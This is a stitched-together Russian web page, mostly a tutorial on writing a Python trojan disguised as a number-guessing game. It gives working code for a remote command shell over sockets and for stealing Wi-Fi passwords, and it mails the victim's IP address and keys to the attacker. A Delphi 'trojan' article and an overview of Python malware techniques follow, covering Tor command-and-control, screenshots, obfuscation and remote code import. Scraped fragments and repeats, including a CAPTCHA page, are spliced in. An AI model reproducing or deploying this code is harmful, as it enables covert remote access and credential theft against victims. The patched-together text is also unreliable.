Содержание
- 1 Как написать троян на Python
- 1.1 Определение IP-адреса
- 1.2 Бэкконнект по почте
- 1.3 Создание трояна на Python
- 1.4 Создание WiFi-стилера на Python
- 2 Заключение
В этой статье я расскажу, как написать простой троян на Python с удаленным доступом, а для большей скрытности мы встроим его в игру. Даже если вы не знаете Python, то сможете лучше понять, как устроены такие вредоносы, и поупражняться в программировании.
Еще по теме: Как написать вирус на Python
Конечно, приведенные в статье скрипты совсем не годятся для использования в боевых условиях: обфускации в них нет, принципы работы просты как палка, а вредоносные функции отсутствуют вовсе. Тем не менее при желании их возможно использовать для несложных пакостей или приколов.
Как написать троян на Python
Итак, что есть троян? Вирус — это программа, главная задача которой — самокопирование. Червь активно распространяется по сети (типичный пример — «Петя» и WannaCry), а троян — скрытая вредоносная программа, которая маскируется под «хороший» софт и шпионить за пользователем. Подробнее о троянах в статье «Что такое RAT».
Логика подобного заражения в том, что пользователь сам скачает себе вредонос на компьютер (например, под видом крякнутой программы), сам отключит защитные механизмы (ведь программа выглядит хорошей) и захочет оставить надолго.
Хакеры и тут не дремлют, так что в новостях то и дело мелькают сообщения о новых жертвах пиратского ПО и о шифровальщиках, поражающих любителей халявы. Но мы‑то знаем, что бесплатный сыр бывает только в мусорке, и сегодня научимся очень просто начинять тот самый сыр чем‑то не вполне ожидаемым.
Вся информация предоставлена исключительно в ознакомительных целях. Ни автор статьи, ни редакция сайта spy-soft.net не несут ответственности за любой возможный вред, причиненный данным материалом. Несанкционированный доступ к информации и нарушение работы систем могут преследоваться по закону. Не забывайте об этом!
Определение IP-адреса
Для начала нам (то есть нашему трояну) нужно понять, где он оказался. Важная часть вашей информации — IP-адрес, по которому с зараженной машиной можно будет соединиться в дальнейшем.
Начнем писать код. Сразу импортируем библиотеки:
import socket from requests import get |
Обе библиотеки не поставляются с Python, поэтому, если они у вас отсутствуют, их нужно установить командой
pip.
pip install socket pip install requests |
Если вы видите ошибку, что у вас отсутствует pip, сначала нужно установить его с сайта pypi.org. Любопытно, что рекомендуемый способ установки pip — через pip, что, конечно, очень полезно, когда его нет.
Код получения внешнего и внутреннего адресов будет таким. Обратите внимание, что, если у жертвы несколько сетевых интерфейсов (например, WiFi и Ethernet одновременно), этот код может вести себя неправильно.
# Определяем имя устройства в сети hostname = socket.gethostname() # Определяем локальный (внутри сети) IP-адрес local_ip = socket.gethostbyname(hostname) # Определяем глобальный (публичный / в интернете) IP-адрес public_ip = get(‘http://api.ipify.org’).text |
Если с локальным адресом все более‑менее просто — находим имя устройства в сети и смотрим IP по имени устройства, — то вот с публичным IP все несколько сложнее.
Я выбрал сайт
api.<wbr />ipify.<wbr />org, так как на выходе нам выдается только одна строка — наш внешний IP. Из связки публичный + локальный IP мы получим почти точный адрес устройства.
Вывести информацию еще проще:
print(f‘Хост: {hostname}’) print(f‘Локальный IP: {local_ip}’) print(f‘Публичный IP: {public_ip}’) |
Никогда не встречал конструкции типа
print(<wbr />f‘{}<wbr />’)? Буква
f означает форматированные строковые литералы. А по простому — программные вставки прямо в строку.
Строковые литералы не только хорошо смотрятся в коде, но и помогают избегать ошибок типа сложения строк и чисел (Python — это вам на JavaScript!).
Финальный код:
import socket from requests import get hostname = socket.gethostname() local_ip = socket.gethostbyname(hostname) public_ip = get(‘http://api.ipify.org’).text print(f‘Хост: {hostname}’) print(f‘Локальный IP: {local_ip}’) print(f‘Публичный IP: {public_ip}’) |
Запустив этот скрипт, мы сможем определить IP-адрес нашего (или чужого) компьютера.
Бэкконнект по почте
Теперь напишем скрипт, который будет присылать нам письмо.
Импорт новых библиотек (обе нужно предварительно поставить через
pip <wbr />install):
import smtplib as smtp from getpass import getpass |
Пишем базовую информацию о себе:
# Почта, с которой будет отправлено письмо email = ‘demo@spy-soft.net’ # Пароль от нее (вместо ***) password = ‘***’ # Почта, на которую отправляем письмо dest_email = ‘demo@spy-soft.net’ # Тема письма subject = ‘IP’ # Текст письма email_text = ‘TEXT’ |
Дальше сформируем письмо:
message = ‘From: {}nTo: {}nSubject: {}nn{}’.format(email, dest_email, subject, email_text) |
Последний штрих — настроить подключение к почтовому сервису. Я пользуюсь Яндекс.Почтой, поэтому настройки выставлял для нее.
server = smtp.SMTP_SSL(‘smtp.yandex.com’) # SMTP-сервер Яндекса server.set_debuglevel(1) # Минимизируем вывод ошибок (выводим только фатальные ошибки) server.ehlo(email) # Отправляем hello-пакет на сервер server.login(email, password) # Заходим на почту, с которой будем отправлять письмо server.auth_plain() # Авторизуемся server.sendmail(email, dest_email, message) # Вводим данные для отправки (адреса свой и получателя и само сообщение) server.quit() # Отключаемся от сервера |
В строке
server.<wbr />ehlo(<wbr />email) мы используем команду
EHLO. Большинство серверов SMTP поддерживают
ESMTP и
EHLO. Если сервер, к которому вы пытаетесь подключиться, не поддерживает
EHLO, можно использовать
HELO.
Полный код этой части трояна:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
import smtplib as smtp import socket from getpass import getpass from requests import get hostname = socket.gethostname() local_ip = socket.gethostbyname(hostname) public_ip = get(‘http://api.ipify.org’).text email = ‘demo@spy-soft.net’ password = ‘***’ dest_email = ‘demo@spy-soft.net’ subject = ‘IP’ email_text = (f‘Host: {hostname}nLocal IP: {local_ip}nPublic IP: {public_ip}’) message = ‘From: {}nTo: {}nSubject: {}nn{}’.format(email, dest_email, subject, email_text) server = smtp.SMTP_SSL(‘smtp.yandex.com’) server.set_debuglevel(1) server.ehlo(email) server.login(email, password) server.auth_plain() server.sendmail(email, dest_email, message) server.quit() |
После запуска скрипта, получаем письмо.
Этот скрипт я проверил на VirusTotal. Результат на скрине.
Создание трояна на Python
По задумке, троян представляет собой клиент‑серверное приложение с клиентом на машине атакуемого и сервером на запускающей машине. Должен быть реализован максимальный удаленный доступ к системе.
Как обычно, начнем с библиотек:
import random import socket import threading import os |
Для начала напишем игру «Угадай число». Тут все крайне просто, поэтому задерживаться долго не буду.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 |
# Создаем функцию игры def game(): # Берем случайное число от 0 до 1000 number = random.randint(0, 1000) # Счетчик попыток tries = 1 # Флаг завершения игры done = False # Пока игра не закончена, просим ввести новое число while not done: guess = input(‘Введите число: ‘) # Если ввели число if guess.isdigit(): # Конвертируем его в целое guess = int(guess) # Проверяем, совпало ли оно с загаданным; если да, опускаем флаг и пишем сообщение о победе if guess == number: done = True print(f‘Ты победил! Я загадал {guess}. Ты использовал {tries} попыток.’) # Если же мы не угадали, прибавляем попытку и проверяем число на больше/меньше else: tries += 1 if guess > number: print(‘Загаданное число меньше!’) else: print(‘Загаданное число больше!’) # Если ввели не число — выводим сообщение об ошибке и просим ввести число заново else: print(‘Это не число от 0 до 1000!’) |
Зачем столько сложностей с проверкой на число? Можно было просто написать:
guess <wbr />= <wbr />int(<wbr />input(<wbr />‘Введите <wbr />число: <wbr />’)<wbr />) |
Если бы мы написали так, то при вводе чего угодно, кроме числа, выпадала бы ошибка, а этого допустить нельзя, так как ошибка заставит программу остановиться и обрубит соединение.
Вот код нашего трояна. Ниже мы будем разбираться, как он работает, чтобы не проговаривать заново базовые вещи.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 |
# Создаем функцию трояна def trojan(): # IP-адрес атакуемого HOST = ‘192.168.2.112’ # Порт, по которому мы работаем PORT = 9090 # Создаем эхо-сервер client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client.connect((HOST, PORT)) while True: # Вводим команду серверу server_command = client.recv(1024).decode(‘cp866’) # Если команда совпала с ключевым словом ‘cmdon’, запускаем режим работы с терминалом if server_command == ‘cmdon’: cmd_mode = True # Отправляем информацию на сервер client.send(‘Получен доступ к терминалу’.encode(‘cp866’)) continue # Если команда совпала с ключевым словом ‘cmdoff’, выходим из режима работы с терминалом if server_command == ‘cmdoff’: cmd_mode = False # Если запущен режим работы с терминалом, вводим команду в терминал через сервер if cmd_mode: os.popen(server_command) # Если же режим работы с терминалом выключен — можно вводить любые команды else: if server_command == ‘hello’: print(‘Hello World!’) # Если команда дошла до клиента — выслать ответ client.send(f‘{server_command} успешно отправлена!’.encode(‘cp866’)) |
Сначала нужно разобраться, что такое сокет и с чем его едят. Сокет простым языком — это условная вилка или розетка для программ. Существуют клиентские и серверные сокеты: серверный прослушивает определенный порт (розетка), а клиентский подключается к серверу (вилка). После того как установлено соединение, начинается обмен данными.
Следующая строка:
client <wbr />= <wbr />socket.<wbr />socket(<wbr />socket.<wbr />AF_INET, <wbr />socket.<wbr />SOCK_STREAM) |
создает эхо‑сервер (отправили запрос — получили ответ).
AF_INET означает работу с IPv4-адресацией, а
SOCK_STREAM указывает на то, что мы используем TCP-подключение вместо UDP, где пакет посылается в сеть и далее не отслеживается.
Строка:
client.<wbr />connect((<wbr />HOST, <wbr />PORT)<wbr />) |
указывает IP-адрес хоста и порт, по которым будет производиться подключение, и сразу подключается.
Функция
client.<wbr />recv(<wbr />1024) принимает данные из сокета и является так называемым «блокирующим вызовом». Смысл такого вызова в том, что, пока команда не передастся или не будет отвергнута другой стороной, вызов будет продолжать выполняться. 1024 — это количество задействованных байтов под буфер приема.
Нельзя будет принять больше 1024 байт (1 Кбайт) за один раз, но нам это и не нужно: часто вы руками вводите в консоль больше 1000 символов? Пытаться многократно увеличить размер буфера не нужно — это затратно и бесполезно, так как нужен большой буфер примерно раз в никогда.
Команда
decode(<wbr />‘cp866’) декодирует полученный байтовый буфер в текстовую строку согласно заданной кодировке (у нас 866). Но почему именно
cp866? Зайдем в командную строку и введем команду
chcp.
Кодировка по умолчанию для русскоговорящих устройств — 866, где кириллица добавлена в латиницу. В англоязычных версиях системы используется обычный Unicode, то есть
utf—8 в Python. Мы же говорим на русском языке, так что поддерживать его нам просто необходимо.
При желании кодировку можно поменять в командной строке, набрав после
chcp ее номер. Юникод имеет номер 65001.
При приеме команды нужно определить, не служебная ли она. Если так, выполняем определенные действия, иначе, если включен терминал, перенаправляем команду туда. Недостаток — результат выполнения так и остается необработанным, а его хорошо бы отправлять нам. Это будет вам домашним заданием: реализовать эту функцию можно от силы минут за пятнадцать, даже если гуглить каждый шаг.
Результат проверки клиента на VirusTotal порадовал.
Базовый троян написан, и сейчас можно сделать очень многое на машине атакуемого, ведь у нас доступ к командной строке. Но почему бы нам не расширить набор функций? Давайте еще пароли от WiFi!
Создание WiFi-стилера на Python
Задача — создать скрипт, который из командной строки узнает все пароли от доступных сетей Wi-Fi.
Приступаем. Импорт библиотек:
import subprocess import time |
Модуль
subprocess нужен для создания новых процессов и соединения с потоками стандартного ввода‑вывода, а еще для получения кодов возврата от этих процессов.
Итак, скрипт для извлечения паролей WiFi:
# Создаем запрос в командной строке netsh wlan show profiles, декодируя его по кодировке в самом ядре data = subprocess.check_output([‘netsh’, ‘wlan’, ‘show’, ‘profiles’]).decode(‘cp866’).split(‘n’) # Создаем список всех названий всех профилей сети (имена сетей) Wi—Fis = [line.split(‘:’)[1][1:—1] for line in data if «Все профили пользователей» in line] # Для каждого имени… for Wi—Fi in Wi—Fis: # …вводим запрос netsh wlan show profile [ИМЯ_Сети] key=clear results = subprocess.check_output([‘netsh’, ‘wlan’, ‘show’, ‘profile’, Wi—Fi, ‘key=clear’]).decode(‘cp866’).split(‘n’) # Забираем ключ results = [line.split(‘:’)[1][1:—1] for line in results if «Содержимое ключа» in line] # Пытаемся его вывести в командной строке, отсекая все ошибки try: print(f‘Имя сети: {Wi-Fi}, Пароль: {results[0]}’) except IndexError: print(f‘Имя сети: {Wi-Fi}, Пароль не найден!’) |
Введя команду в командной строке:
netsh <wbr />wlan <wbr />show <wbr />profiles |
Mы получим следующее.
Если распарсить вывод выше и подставить имя сети в команду:
netsh <wbr />wlan <wbr />show <wbr />profile [<wbr />имя <wbr />сети] <wbr />key=clear |
Результат будет как на картинке. Его можно разобрать и вытащить пароль от сети.
Осталась одна проблема: наша изначальная задумка была забрать пароли себе, а не показывать их пользователю. Исправим же это.
Допишем еще один вариант команды в скрипт, где обрабатываем наши команды из сети.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 |
if server_command == ‘Wi-Fi’: data = subprocess.check_output([‘netsh’, ‘wlan’, ‘show’, ‘profiles’]).decode(‘cp866’).split(‘n’) Wi—Fis = [line.split(‘:’)[1][1:—1] for line in data if «Все профили пользователей» in line] for Wi—Fi in Wi—Fis: results = subprocess.check_output([‘netsh’, ‘wlan’, ‘show’, ‘profile’, Wi—Fi, ‘key=clear’]).decode(‘cp866’).split(‘n’) results = [line.split(‘:’)[1][1:—1] for line in results if «Содержимое ключа» in line] try: email = ‘mail@yandex.ru’ password = ‘***’ dest_email = ‘demo@demo.ru’ subject = ‘Wi-Fi’ email_text = (f‘Name: {Wi-Fi}, Password: {results[0]}’) message = ‘From: {}nTo: {}nSubject: {}nn{}’.format(email, dest_email, subject, email_text) server = smtp.SMTP_SSL(‘smtp.yandex.com’) server.set_debuglevel(1) server.ehlo(email) server.login(email, password) server.auth_plain() server.sendmail(email, dest_email, message) server.quit() except IndexError: email = ‘mail@yandex.ru’ password = ‘***’ dest_email = ‘demo@demo.ru’ subject = ‘Wi-Fi’ email_text = (f‘Name: {Wi-Fi}, Password not found!’) message = ‘From: {}nTo: {}nSubject: {}nn{}’.format(email, dest_email, subject, email_text) server = smtp.SMTP_SSL(‘smtp.yandex.com’) server.set_debuglevel(1) server.ehlo(email) server.login(email, password) server.auth_plain() server.sendmail(email, dest_email, message) server.quit() |
Этот скрипт прост как два рубля и ожидает увидеть русскоязычную систему. На других языках это не сработает, но исправить поведение скрипта можно простым выбором разделителя из словаря, где ключ — обнаруженный на компьютере язык, а значение — требуемая фраза на нужном языке.
Все команды этого скрипта уже подробно разобраны, так что я не буду повторяться, а просто покажу скриншот из своей почты.
Доработки
Конечно, тут можно доработать примерно все — от защиты канала передачи до защиты самого кода нашего вредоноса. Методы связи с управляющими серверами злоумышленника тоже обычно используются другие, а работа вредоноса не зависит от языка операционной системы.
И конечно, сам троян очень желательно упаковать с помощью PyInstaller, чтобы не тянуть с собой на машину жертвы питон и все зависимости. Игра, которая требует для работы установить модуль для работы с почтой, — что может больше внушать доверие?
Заключение
Сегодняшний троян настолько прост, что его никак нельзя назвать боевым. Тем не менее он полезен для изучения основ языка Python и понимания алгоритмов работы более сложных вредоносных программ. Мы надеемся, что вы уважаете закон, а полученные знания о троянах вам никогда не понадобятся.
В качестве домашнего задания рекомендую попробовать реализовать двусторонний терминал и шифрование данных хотя бы с помощью XOR. Такой троян уже будет куда интереснее, но, безусловно, использовать его in the wild мы не призываем. Будьте аккуратны и не делайте глупостей!
Еще по теме: Как создать троян для Android
Как написать троян
Completing the CAPTCHA proves you are a human and gives you temporary access to the web property.
What can I do to prevent this in the future?
If you are on a personal connection, like at home, you can run an anti-virus scan on your device to make sure it is not infected with malware.
If you are at an office or shared network, you can ask the network administrator to run a scan across the network looking for misconfigured or infected devices.
Another way to prevent getting this page in the future is to use Privacy Pass. You may need to download version 2.0 now from the Chrome Web Store.
Cloudflare Ray ID: 71ae9117ce419bec • Your IP : 82.102.23.104 • Performance & security by Cloudflare
Сервер – Клиент Изнутри. На примере и разработка программы!
Если Вам интересно посмотреть, как пишутся «Программы сервер – клиент» и как они работают на реальном примере, предлагаю прочитать пост до конца. Будет интересно!
Пример программы я решил писать на Delphi! Так как, это проще и хорошо подходит для маленького, но реального примера. Что касается грозного слова «Троян» которое я упомянул выше, то тут, получается действительно, самый настоящий троян, но с малым и безобидным функционалом.
Вы узнаете, по какому принципу пишутся «Трояны» и как они работают изнутри! Но, есть одно «НО» Трояны не пишут, так как – это будет описано ниже. Поскольку в нашем примере, «Серверная» часть программы будет много весить (Это не приемлемо для реального трояна), и мы не будет её скрывать в системе. В реальном, «Вредоносном ПО» дела обстоят немного по другому.
Серверную часть программы стараются разработать с малым размером, ну примерно «100 КБ» Плюс — минус сколько-то КБ. И скрывают её в системе, так, что искать её придется долго!…
Но все ровно, принцип разработки один! И данный пример идеально подойдёт для понимания, как работаю программы по принципу «Сервер — Клиент» Просто у нас не правильный тон разработки трояна, а оно нам надо? Правильно. НЕТ. Мы же хорошие ребята и хулиганить не собираемся!
Как работают программы по принципу «Сервер – Клиент»
Просто и в двух словах картина выглядит вот так: Вы на своём компьютере запускаете «Клиентскую» часть программы, как правило, она имеет «GUI» то есть интерфейс пользователя (Если клиент не консольный)
На компьютере, к которому вы желаете получить доступ, запускается «Серверная» часть программы, она же открывает определённый порт на чужом компьютере и не видна в системе.
Через этот порт происходит соединения, Вы в клиенте указываете порт и IPадрес компьютера, на котором запущен сервер, подключаетесь к серверу и можете спокойно выполнять какие-то действия на чужом ПК со своего компьютера! Ещё можно прочитать мой прошлый пост и узнать:
Надеюсь, что здесь объяснил, вроде как понятно и простым человеческим языком! Если что-то не ясно, дальше, на примере все станет ясно! Далее давайте определимся, какие действия буду выполняться на удалённом ПК вследствие работы нашего маленького трояна!
Какой функционал в данном примере программы Сервер – Клиент.
Честно сказать, на этом этапе, когда размышлял, что бы показать я как-то замешкался и не как не мог придумать, что-то интересное! В общем пусть будет функционал из одной возможности и до жути простой:
— Пользователь будет получать Ваше сообщение.
Не вижу смысла добавлять какие-то другие возможности. Так как, считаю, что для примера и понимание этого вполне достаточно. Так же, думаю, не стоит писать много кода, то, что имеется ниже, то же достаточно, что бы посмотреть на программу изнутри!
А за место сообщение может быть все что угодно, зависит от фантазии человека решившего написать троян и от его знаний в программировании.
Ну, а у нас будет такой прикол! Человек, сидя за компьютером, неожиданно получит сообщение, например
представляете реакцию человека? Думаю это смешно, было бы увидеть его выражение лица.
Разработка программы по принципу «Сервер – Клиент»
Приступаем к самому интересному! И начнём мы с разработки самого «Сервера» после чего напишем под него клиент! Я не буду объяснять код программы, просто, буду приводить примеры, все же у меня не блог по программированию, да и цель поста показать поэтапно процесс разработки подобных программ по типу «Сервер – Клиент»
Разработка Сервера!
Изначально, нужно научить «Сервер» открывать какой-то порт на компьютере, дабы в дальнейшем иметь возможность подключиться к нему из «Клиента» а уже после научим принимать команды и выполнять какие-то действия на ПК.
Откроем порт следующим кодом, который до боли прост:
Теперь если запустить программу появится просто, пустое окно без всяких кнопок и прочих элементов. И самое главное, на компьютере будет открыт порт с номером «666» Именно на этот порт в дальнейшем будем отправлять команды на сервер, и он в свою очередь будет их обрабатывать.
А пока убедимся, что сервер работает и порт открыт, вспоминаем команду «netstat» и смотрим результат.
Как видим на компьютере, вследствие запуска нашей программы действительно был открыт порт с номером «666» Это говорит только ободном, программа работает, и пришла пора научить «Сервер» принимать сообщение.
Тут дела обстоят следующие образом! Если серверу придёт команда с названием «MESSAGE_TEXT» (Название может быть любое) то сработает процедура «ShowMessage» и покажет сообщение, которое пришло вмести с командой и хранится в строковой переменной «komm»
Соответственно текст сообщение будем набирать в «Клиенте» и он может быть любого содержание!
В прочем, на этом разработка «Серверной» части закончена. В итоге у нас получился файлик «Server.exe» и пока отложим его в сторону до того момента пока не напишем «Клиент»
Разработка Клиента!
Клиент у нас будет по понятным причинам с графическим интерфейсом пользователя (GUI) и должен иметь элементы управление, кнопки и поля ввода. У меня получился вот такой вид программы:
Определимся со всеми элементами! Хотя и так понят но, как говорится, на всякий случай поясню.
— IP: Поля для ввода IPкомпьютера, где запущен сервер.
— Port: Указываем номер порта на котором висит сервер.
— Подключится: Кнопка для подключения к серверу.
— Текст сообщение: Поле для ввода сообщение, которое нужно отправить.
— Отправить сообщение…: Соответственно кнопка для отправки сообщение.
— Статус соединение: Тут мы узнаем, подключились или нет!
Дальше пробуем научить «Клиент» подключаться к серверу и проверим, как это работает. В данном варианте, код для кнопки «Подключится» выглядит так:
Крадущийся питон. Создаем простейший троян на Python
Конечно, приведенные в статье скрипты никак не годятся для использования в боевых условиях: обфускации в них нет, принципы работы просты как палка, а вредоносные функции отсутствуют напрочь. Тем не менее при некоторой смекалке их возможно использовать для несложных пакостей — например, вырубить чей‑нибудь компьютер в классе (или в офисе, если в классе ты не наигрался).
Теория
Итак, что вообще такое троян? Вирус — это программа, главная задача которой — самокопирование. Червь активно распространяется по сети (типичный пример — «Петя» и WannaCry), а троян — скрытая вредоносная программа, которая маскируется под «хороший» софт.
Логика подобного заражения в том, что пользователь сам скачает себе вредонос на компьютер (например, под видом крякнутой программы), сам отключит защитные механизмы (ведь программа выглядит хорошей) и захочет оставить надолго. Хакеры и тут не дремлют, так что в новостях то и дело мелькают сообщения о новых жертвах пиратского ПО и о шифровальщиках, поражающих любителей халявы. Но мы‑то знаем, что бесплатный сыр бывает только в мусорке, и сегодня научимся очень просто начинять тот самый сыр чем‑то не вполне ожидаемым.
warning
Вся информация предоставлена исключительно в ознакомительных целях. Ни автор, ни редакция не несут ответственности за любой возможный вред, причиненный материалами данной статьи. Несанкционированный доступ к информации и нарушение работы систем могут преследоваться по закону. Помни об этом.
Определяем IP
Сначала нам (то есть нашему трояну) нужно определиться, где он оказался. Важная часть твоей информации — IP-адрес, по которому с зараженной машиной можно будет соединиться в дальнейшем.
Начнем писать код. Сразу импортируем библиотеки:
Обе библиотеки не поставляются с Python, поэтому, если они у тебя отсутствуют, их нужно установить командой pip .
Если ты видишь ошибку, что у тебя отсутствует pip, сначала нужно установить его с сайта pypi.org. Любопытно, что рекомендуемый способ установки pip — через pip, что, конечно, очень полезно, когда его нет.
Код получения внешнего и внутреннего адресов будет таким. Обрати внимание, что, если у жертвы несколько сетевых интерфейсов (например, Wi-Fi и Ethernet одновременно), этот код может вести себя неправильно.
Если с локальным адресом все более‑менее просто — находим имя устройства в сети и смотрим IP по имени устройства, — то вот с публичным IP все немного сложнее.
Я выбрал сайт api. ipify. org , так как на выходе нам выдается только одна строка — наш внешний IP. Из связки публичный + локальный IP мы получим почти точный адрес устройства.
Вывести информацию еще проще:
Никогда не встречал конструкции типа print( f’ ‘) ? Буква f означает форматированные строковые литералы. Простыми словами — программные вставки прямо в строку.
Строковые литералы не только хорошо смотрятся в коде, но и помогают избегать ошибок типа сложения строк и чисел (Python — это тебе на JavaScript!).
В мире существует много явлений с сомнительной и спорной репутацией. Например, сюда можно отнести хоккей на траве, датскую квашеную селедку и мужские трусы-стринги. А еще к этому списку можно с абсолютной уверенностью добавить вирусы на Python.
Трудно сказать, что толкает людей на создание вредоносного ПО на этом языке программирования. Обилие выпускников “шестимесячных курсов Django-программистов” с пробелами в базовых технических познаниях? Желание нагадить ближнему без необходимости учить C/C++? Или благородное желание разобраться в технологиях виримейкерства путем создания небольших прототипов вирусов на удобном языке?
Если отбросить часть иронии…
… и вникнуть в ситуацию, то становится видно, что адекватные питонячие зловреды не только существуют, но и успешно заражают компьютеры. Их мало, они относительно легко вычисляются антивирусами (полиморфный код в питонячих вирусах невозможен, об этом поговорим чуть ниже), но и общая компьютерная грамотность среднего пользователя невысока, что дает этим вирусам шанс на выживание и успешное заражение.
Есть продвинутый бэкдор Seaduke, родившийся где-то на территории России и принадлежащий к семейству Duke. По этому семейству вирусов есть подробный доклад. Исходные тексты Seaduke удалось восстановить, текст доступен для прочтения на github.
Есть PWOBot, на протяжении нескольких лет успешно заражавший компы в Восточной Европе (преимущественно в Польше). Есть PoetRAT, заразивший в начале этого года государственные компьютеры в Азербайджане. PoetRAT — вполне зрелый образец вредоносного кода, способный воровать учетки, делать снимки с камеры и логировать нажатия клавиш. Есть еще несколько десятков примеров вирусов на Python, которые успешно расселились по интернету в достаточном количестве, чтобы попасться в поле зрения кибербезопасников.
Как нам теперь становится ясно, тема питонячих вирусов — совсем не такая дохлая, как кажется на первый взгляд. Давайте вместе посмотрим на то, как и с какими библиотеками пишутся зловреды на Python.
Упаковка в бинарники
Поскольку Python — язык интерпретируемый, это создает некоторые трудности при дистрибуции зловредов: нужно, чтобы в ОС был интерпретатор нужной версии, а все необходимые библиотеки были установлены в правильные места на диске. Все это сильно мешает типу программ, который должен сам себя устанавливать и запускать. Поэтому питонячие вирусы, направленные на заражение клиентских машин (а ведь можно еще и заражать серверы) принято упаковывать в бинарный исполняемый файл, который содержит в себе либо интерпретатор с библиотеками в архиве, либо двоичную программу, собранную на основе Python кода.
- https://www.py2exe.org/ — старый классический способ упаковки питонячих программ в бинарники. Он создает архив, в котором лежит интерпретатор, ваш код + все необходимые зависимости.
- https://nuitka.net/ — более хитрый способ сборки бинарников. Этот инструмент транслирует Python код в С и потом компилирует его.
Антивирусы умеют распознавать шаблоны и типичные структуры вирусов, так они вычисляют зловредные программы по их типичным последовательностям байтов. Чтобы скрыться от антивируса, виримейкеры делаю свой код самомодифицируемым — при каждой новой установке зловред переписывает свой код и порождает все новые и новые варианты двоичного файла, которые уже не опознаются антивирусами. Такой подход называется полиморфным кодированием и его невозможно применять в случае, если вы работаете с Python кодом, транслируемым в бинарник. Лишенные основного инструменты противостояния антивирусам, питонячие зловреды весьма уязвимы даже перед самыми простыми антивирусными программами.
Но на многих компах сегодня нет ативирусов, поэтому вирусы на Python способы выживать и активно размножаться.
А шо вирусу делать?
Зловредам надо как-то общаться со своими владельцами, получать от них команды и обновления, передавать им добытые данные. Без обратной связи вирусы могут только мелко хулиганить.
Для общения нужен какой-то удаленный адрес, с которым осуществляется обмен информацией. Регать домен и покупать сервер — палевно: владельца вируса можно легко вычислить. Конечно, есть всякие анонимные хостинги и регистраторы доменов сомнительной честности, но и с ними риски не минимальны.
Более безопасный вариант — мессенджеры (IRC, Jabber) и, конечно же, Tor.
Для обмена данными с хозяевами вирусы используют библиотеку torpy. В ней все предельно просто — заводишь список адресов (на всякий случай, вдруг один из хостов отвалится), коннектишься к доступным и получаешь апдейты к вирусу или команды.
from torpy import TorClient
hostname = 'ifconfig.me' # It's possible use onion hostname here as well
tor = TorClient()
# Choose random guard node and create 3-hops circuit
with tor.create_circuit(3) as circuit:
# Create tor stream to host
with circuit.create_stream((hostname, 80)) as stream:
# Now we can communicate with host
stream.send(b'GET / HTTP/1.0rnHost: %srnrn' % hostname.encode())
recv = stream.recv(1024)
Работа с tor c этой либой проста, не сложнее requests.
А шо бы своровать?
Воровство персональных данных — важная часть жизни любого вируса. Вопрос поиска и парсинга различных файлов с паролями перед программистами не стоит — это легко делается штатными средствами Python. Перехват нажатий клавиш в ОС — сложнее, но это можно нагуглить. Для работы с вебкой — OpenCV. Единственное, что вызывает вопросы — как делать скриншоты из Python?
На выручку приходит pyscreenshot. Предвосхищая ваши вопросы, скажу, что магии внутри библиотеки нет — она не умеет из Питона читать буфер экрана. В основе этого пакета лежит коллекция костылей и подпорок, которые определяют тип ОС, в которой работает ваша программа и дальше идет поиск внутри операционки доступных инструментов для снятия скриншотов.
# pyscreenshot/examples/grabfullscreen.py
"Grab the whole screen"
import pyscreenshot as ImageGrab
# grab fullscreen
im = ImageGrab.grab()
# save image file
im.save("fullscreen.png")
Звучит это все очень ненадежно, но библиотека адекватно справляется со снятием изображений с экрана на всех популярных платформах.
Серверная токсичность
Бэкдоры на Python для серверов тоже встречаются в природе. Они тоже способны гадить в вашей системе, но механизмы работы у них уже другие.
Например, питонячему серверному вирусу не обязательно упаковываться в бинарник — интерпретатор Python есть на многих серваках: можно запускаться на нем. Поэтому авторы зловредов для серверного применения вместо упаковки кода используют обфускацию — запутывание исходников так, чтобы их невозможно было прочитать.
Один из самых популярных инструментов для обфускации — pyarmor. Одна команда легко превращает ваш код в нечитаемую хрень и усложняет понимание текста программы. Тема обфускации кода вообще сама по себе очень интересна, для углубления познаний по этой теме рекомендую ознакомиться с книгой. Pyarmor пригодится не только авторам вирусов, но и тем, кто хочеть по каким-то причинам защитить исходники от легкого прочтения.
Вторая вещь, на которую нужно обратить внимание авторам серверного вредоносного ПО — наличие библиотек.
Конечно, можно весь код засунуть в один файл — но тогда он будет очень большим. Второй вариант — exec()/eval() и чтение кода с удаленного сервера: этот подход явно лучше! Но самый простой в реализации способ — использование готовой библиотеки httpimport для удаленного импорта питонячих пакетов.
>>> with httpimport.remote_repo(['package1','package2','package3'], 'http://my-codes.example.com/python_packages'):
... import package1
...
>>> with httpimport.github_repo('operatorequals', 'covertutils', branch = 'master'):
... import covertutils
... # Also works with 'bitbucket_repo' and 'gitlab_repo'
Трояны
Теория
Так что же такое троян? Вирус — это программа, основная задача которой — копировать самого себя. Червь активно распространяется по сети (типичные примеры — Petya и WannaCry), а троян — это скрытая вредоносная программа, маскирующаяся под «хорошее» ПО.
Логика такого заражения заключается в том, что пользователь сам загружает вредоносное ПО на свой компьютер (например, под видом неработающей программы), сам отключает механизмы защиты (в конце концов, программа выглядит нормально) и хочет оставить его на долгое время. Хакеры здесь тоже не спят, поэтому время от времени появляются новости о новых жертвах пиратского программного обеспечения и программ-вымогателей, нацеленных на любителей халявы. Но мы знаем, что бесплатный сыр можно найти только в мыеловке, и сегодня мы очень легко научимся заполнять этот сыр чем-то неожиданным.
import smtplib as smtp
import socket
from getpass import getpass
from requests import get
hostname = socket.gethostname()
local_ip = socket.gethostbyname(hostname)
public_ip = get('http://api.ipify.org').text
email = 'demo@spy-soft.net'
password = '***'
dest_email = 'demo@spy-soft.net'
subject = 'IP'
email_text = (f'Host: {hostname}nLocal IP: {local_ip}nPublic IP: {public_ip}')
message = 'From: {}nTo: {}nSubject: {}nn{}'.format(email, dest_email, subject, email_text)
server = smtp.SMTP_SSL('smtp.yandex.com')
server.set_debuglevel(1)
server.ehlo(email)
server.login(email, password)
server.auth_plain()
server.sendmail(email, dest_email, message)
server.quit()
Вот и все
Это далеко не полный список того, что используют авторы зловредов на Python. Описанные выше инструменты и подходы научат вас тому, как мыслят вирусописатели и чем могут быть опасны подозрительные питонячие скрипты.
